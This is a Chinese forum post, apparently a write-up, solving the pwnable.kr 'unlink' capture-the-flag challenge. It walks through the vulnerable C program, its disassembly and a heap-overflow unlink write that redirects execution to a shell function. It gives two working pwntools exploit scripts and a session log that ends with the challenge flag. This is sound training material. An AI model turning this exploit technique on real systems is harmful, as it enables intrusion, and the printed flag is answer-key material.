-
-
[分享] pwnable.kr unlink
-
发表于: 2021-2-3 21:29 9522
-
unlink
考察点:DWORD SHOOT
32 位程序中 malloc(n) 实际分配的堆内存是 Header(4 字节) + n 结构且分配的堆块 8 字节对齐
1. 题目
1 2 3 | Daddy! how can I exploit unlink corruption? ssh unlink@pwnable.kr - p2222 (pw: guest) |
2. 解题过程
1. 查看文件列表并 check 程序
1 2 3 4 5 6 7 | unlink@pwnable:~$ ls - l total 20 - r - - r - - - - - 1 root unlink_pwn 49 Nov 23 2016 flag - rw - r - - - - - 1 root unlink_pwn 543 Nov 28 2016 intended_solution.txt - r - xr - sr - x 1 root unlink_pwn 7540 Nov 23 2016 unlink - rw - r - - r - - 1 root root 749 Nov 23 2016 unlink.c unlink@pwnable:~$ |
我们可以通过执行 unlink 临时获得与 unlink_pwn 相同的权限,因此可读取 flag
1 2 3 4 5 6 7 8 | unlink@pwnable:~$ checksec unlink [ * ] '/home/unlink/unlink' Arch: i386 - 32 - little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE ( 0x8048000 ) unlink@pwnable:~$ |
2. 阅读 unlink.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | #include <stdio.h> #include <stdlib.h> #include <string.h> typedef struct tagOBJ{ struct tagOBJ * fd; struct tagOBJ * bk; char buf[ 8 ]; }OBJ; void shell(){ system( "/bin/sh" ); } void unlink(OBJ * P){ OBJ * BK; OBJ * FD; BK = P - >bk; FD = P - >fd; FD - >bk = BK; BK - >fd = FD; } int main( int argc, char * argv[]){ malloc( 1024 ); OBJ * A = (OBJ * )malloc(sizeof(OBJ)); OBJ * B = (OBJ * )malloc(sizeof(OBJ)); OBJ * C = (OBJ * )malloc(sizeof(OBJ)); / / double linked list : A < - > B < - > C A - >fd = B; B - >bk = A; B - >fd = C; C - >bk = B; printf( "here is stack address leak: %p\n" , &A); printf( "here is heap address leak: %p\n" , A); printf( "now that you have leaks, get shell!\n" ); / / heap overflow! gets(A - >buf); / / 可以覆盖 A - >buf 以后全部堆内存 / / exploit this unlink! unlink(B); / / B - >fd - >bk = B - >bk; B - >bk - >fd = B - >fd return 0 ; } |
当输入 A->buf 溢出覆盖了 B->fd 和 B->bk 时,可导致一个 DWORD SHOOT 覆写。
我们的目标是执行 shell(),获得一个 shell 后读取 flag
3. 调试 unlink
shell() 的地址是 080484EB 汇编代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | .text: 080484EB ; = = = = = = = = = = = = = = = S U B R O U T I N E = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = .text: 080484EB .text: 080484EB ; Attributes: bp - based frame .text: 080484EB .text: 080484EB public shell .text: 080484EB shell proc near .text: 080484EB ; __unwind { .text: 080484EB push ebp .text: 080484EC mov ebp, esp .text: 080484EE sub esp, 8 .text: 080484F1 sub esp, 0Ch .text: 080484F4 push offset command ; "/bin/sh" .text: 080484F9 call _system .text: 080484FE add esp, 10h .text: 08048501 nop .text: 08048502 leave .text: 08048503 retn .text: 08048503 ; } / / starts at 80484EB .text: 08048503 shell endp |
main() 的汇编代码节选如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 | .text: 0804852F ; int __cdecl main( int argc, const char * * argv, const char * * envp) .text: 0804852F public main .text: 0804852F main proc near ; DATA XREF: _start + 17 ↑o .text: 0804852F .text: 0804852F var_14 = dword ptr - 14h .text: 0804852F var_10 = dword ptr - 10h .text: 0804852F var_C = dword ptr - 0Ch .text: 0804852F var_4 = dword ptr - 4 .text: 0804852F argc = dword ptr 8 .text: 0804852F argv = dword ptr 0Ch .text: 0804852F envp = dword ptr 10h …… .text: 080485FF mov ecx, [ebp + var_4] .text: 08048602 leave .text: 08048603 lea esp, [ecx - 4 ] .text: 08048606 retn .text: 08048606 ; } / / starts at 804852F .text: 08048606 main endp |
retn 指令等同于 pop eip,将 esp 指向的地址放入到 eip 中
esp 的值由 ecx-4 获得
ecx 的值由 [ebp+var_4] 获得,var_4 为 -4,ebp 的值在整个 main() 运行中没有改变
leave 指令等同于 mov esp ebp,pop ebp 对最终 esp 的值无影响
所以我们可以构造 [ecx-4] = shell() 的起始地址
shell() 的起始地址由前面汇编代码得到,为 0x80484EB
因此我们先把 shell() 的起始地址写到 A->buf 的起始部分,记为 shell_addr,再令 ecx 指向 shell_addr + 4 即将 ebp-4 地址中的值覆盖为 shell_addr + 4
因此 gets() 时输入的内容就是 shell_addr + 填充字符 + B->fb + B->bk
gdb 调试发现 buf 及其后面的大小为 12 字节,所以填充字符应为 12 - 4 + 4 为 12 字节。因为 shell_addr 占 4 字节,heap B 的 Header 占 4 字节
char buf[8]; 占 8 字节,但是 malloc 分配的堆块需要 8 字节对齐。header 4 字节,fd、bk 是 32 位的地址,所以各 4 字节,buf 8 字节,共 20 字节,为了保持 8 字节对齐,额外分配了 4 字节,所以 A->buf 及其后面的大小为 12 字节
为了将 将 ebp-4 地址中的值覆盖为 shell_addr + 4,我们需要将 B->bk 覆盖为 ebp-4,B-fd 覆盖为 shell_addr + 4
1 2 3 4 5 6 7 8 9 10 | tagOBJ 结构体中,tagOBJ - >fd 的地址即 tagOBJ 的地址,tagOBJ - >bk 的地址即 tagOBJ 的地址 + 4 unlink 时,FD = B - >fd = shell_addr + 4 ,BK = B - >bk = ebp - 4 。BK - >fd = FD 即 ebp - 4 = shell_addr + 4 # Method 2 将 FD 覆盖为 ebp - 8 ,BK 覆盖为 shell_addr + 4 此时 unlink 会使 FD = B - >fd = ebp - 8 ,BK = B - >bk = shell_addr + 4 。FD - >bk = BK 即 ebp - 8 + 4 = shell_addr + 4 ,此方法在 exp 中记为 ,经测试可获得 shell Method 3 、 4 将 shell 函数的地址写入到 B - >buf 中,此时 shell_addr 为 heap A + 32 ,此时可类比 Method 1 、 2 可产生 Methon 3 、 4 # 经测试上述四种方法都可获得 shell |
shell_addr + 4 即 heap A + 12
由
1 2 3 | .text: 080485A5 lea eax, [ebp + var_14] ; var_14 = - 14h .text: 080485A8 push eax .text: 080485A9 push offset format ; "here is stack address leak: %p\n" |
得,stack A 的地址为 ebp - 0x14,所以 ebp-4 即 stack_addr + 0x10
4. 编写 exp
Methond 1、2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 | from pwn import * shell_addr = 0x080484eb s = ssh(host = 'pwnable.kr' , port = 2222 , user = 'unlink' , password = 'guest' ) p = s.process( "./unlink" ) p.recvuntil( "here is stack address leak: " ) stack_addr = p.recv( 10 ) stack_addr = int (stack_addr, 16 ) p.recvuntil( "here is heap address leak: " ) heap_addr = p.recv( 9 ) heap_addr = int (heap_addr, 16 ) payload = p32(shell_addr) payload + = 'a' * 12 # Method 1 payload + = p32(heap_addr + 12 ) payload + = p32(stack_addr + 0x10 ) # Method 2 # payload += p32(stack_addr + 12) # payload += p32(heap_addr + 12) p.send(payload) p.interactive() |
Method 3、4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import * shell_addr = 0x080484eb s = ssh(host = 'pwnable.kr' , port = 2222 , user = 'unlink' , password = 'guest' ) p = s.process( "./unlink" ) p.recvuntil( "here is stack address leak: " ) stack_addr = p.recv( 10 ) stack_addr = int (stack_addr, 16 ) p.recvuntil( "here is heap address leak: " ) heap_addr = p.recv( 9 ) heap_addr = int (heap_addr, 16 ) payload = '' payload + = 'a' * 16 # Method 3 # payload += p32(heap_addr + 36) # payload += p32(stack_addr + 0x10) # payload += p32(shell_addr) # Method 4 payload + = p32(stack_addr + 12 ) payload + = p32(heap_addr + 36 ) payload + = p32(shell_addr) p.send(payload) p.interactive() |
5. pwn
执行脚本,获得 flag:conditional_write_what_where_from_unl1nk_explo1t
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 | whoami@DESKTOP - 02CN0MD :~ / pwn / unlink / attach$ python solution.py [ * ] Checking for new versions of pwntools To disable this functionality, set the contents of / home / whoami / .cache / .pwntools - cache - 2.7 / update to 'never' (old way). Or add the following lines to ~ / .pwn.conf ( or / etc / pwn.conf system - wide): [update] interval = never [ * ] You have the latest version of Pwntools ( 4.3 . 1 ) / home / whoami / .local / lib / python2. 7 / site - packages / paramiko / transport.py: 33 : CryptographyDeprecationWarning: Python 2 is no longer supported by the Python core team. Support for it is now deprecated in cryptography, and will be removed in the next release. from cryptography.hazmat.backends import default_backend [ + ] Connecting to pwnable.kr on port 2222 : Done [ * ] lotto@pwnable.kr: Distro Ubuntu 16.04 OS: linux Arch: amd64 Version: 4.4 . 179 ASLR: Enabled [ + ] Starting remote process u './unlink' on pwnable.kr: pid 250405 [ * ] Switching to interactive mode now that you have leaks, get shell! $ ls $ $ ls flag intended_solution.txt unlink unlink.c $ $ cat flag conditional_write_what_where_from_unl1nk_explo1t $ $ |
[招生]系统0day安全班,企业级设备固件漏洞挖掘,Linux平台漏洞挖掘!
赞赏
- [原创]pwnable.kr horcruxes 10813
- [分享] pwnable.kr blukat 10018
- [分享] pwnable.kr unlink 9523
- [分享] pwnable.kr asm 10740
- [分享] pwnable.kr memcpy 10495